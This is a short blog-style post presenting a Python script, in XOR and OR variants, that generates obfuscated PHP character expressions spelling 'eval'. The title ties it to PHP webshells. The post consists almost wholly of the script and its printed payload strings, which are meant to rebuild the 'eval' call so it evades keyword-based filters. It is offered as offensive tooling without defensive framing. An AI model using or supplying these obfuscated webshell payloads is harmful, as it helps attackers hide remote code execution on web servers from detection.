2020-09-28 | Python | UNLOCK

Python script fuzzXor 2 PHPWEBSHELL

fuzzxor.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import random
def fuzz():
xorlist = []
for x in range(33,127):
for y in range(33,127):
result = "xor:=>(\""+chr(x)+"\"^\""+chr(y)+"\")="+chr(x^y)
xorlist.append(result)
# print(result[-1])
ok = []
random.shuffle(xorlist)
needs = "eval"
ress = []
for need in needs :
for x in xorlist:
if x[-1] == need:
x = x.replace('xor:=>','')
ok.append(x)
print(x)
res = x.split(')')
res = res[0]+")"
ress.append(res)
break
print(needs)
for res in ress:
print(res,end='.')

fuzz()

result

1
2
3
4
5
6
("2"^"W")=e
("Q"^"'")=v
("<"^"]")=a
(","^"@")=l
eval
("2"^"W").("Q"^"'").("<"^"]").(","^"@").[Finished in 0.1s]

or |

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import random
def fuzz():
xorlist = []
for x in range(33,127):
for y in range(33,127):
result = "xor:=>(\""+chr(x)+"\"|\""+chr(y)+"\")="+chr(x|y)
xorlist.append(result)
# print(result[-1])
ok = []
random.shuffle(xorlist)
needs = "eval"
ress = []
for need in needs :
for x in xorlist:
if x[-1] == need:
x = x.replace('xor:=>','')
ok.append(x)
print(x)
res = x.split(')')
res = res[0]+")"
ress.append(res)
break
print(needs)
for res in ress:
print(res,end='.')

fuzz()

result

1
2
3
4
5
6
("E"|"e")=e
("b"|"v")=v
("A"|"!")=a
("d"|"(")=l
eval
("E"|"e").("b"|"v").("A"|"!").("d"|"(").[Finished in 0.1s]

评论加载中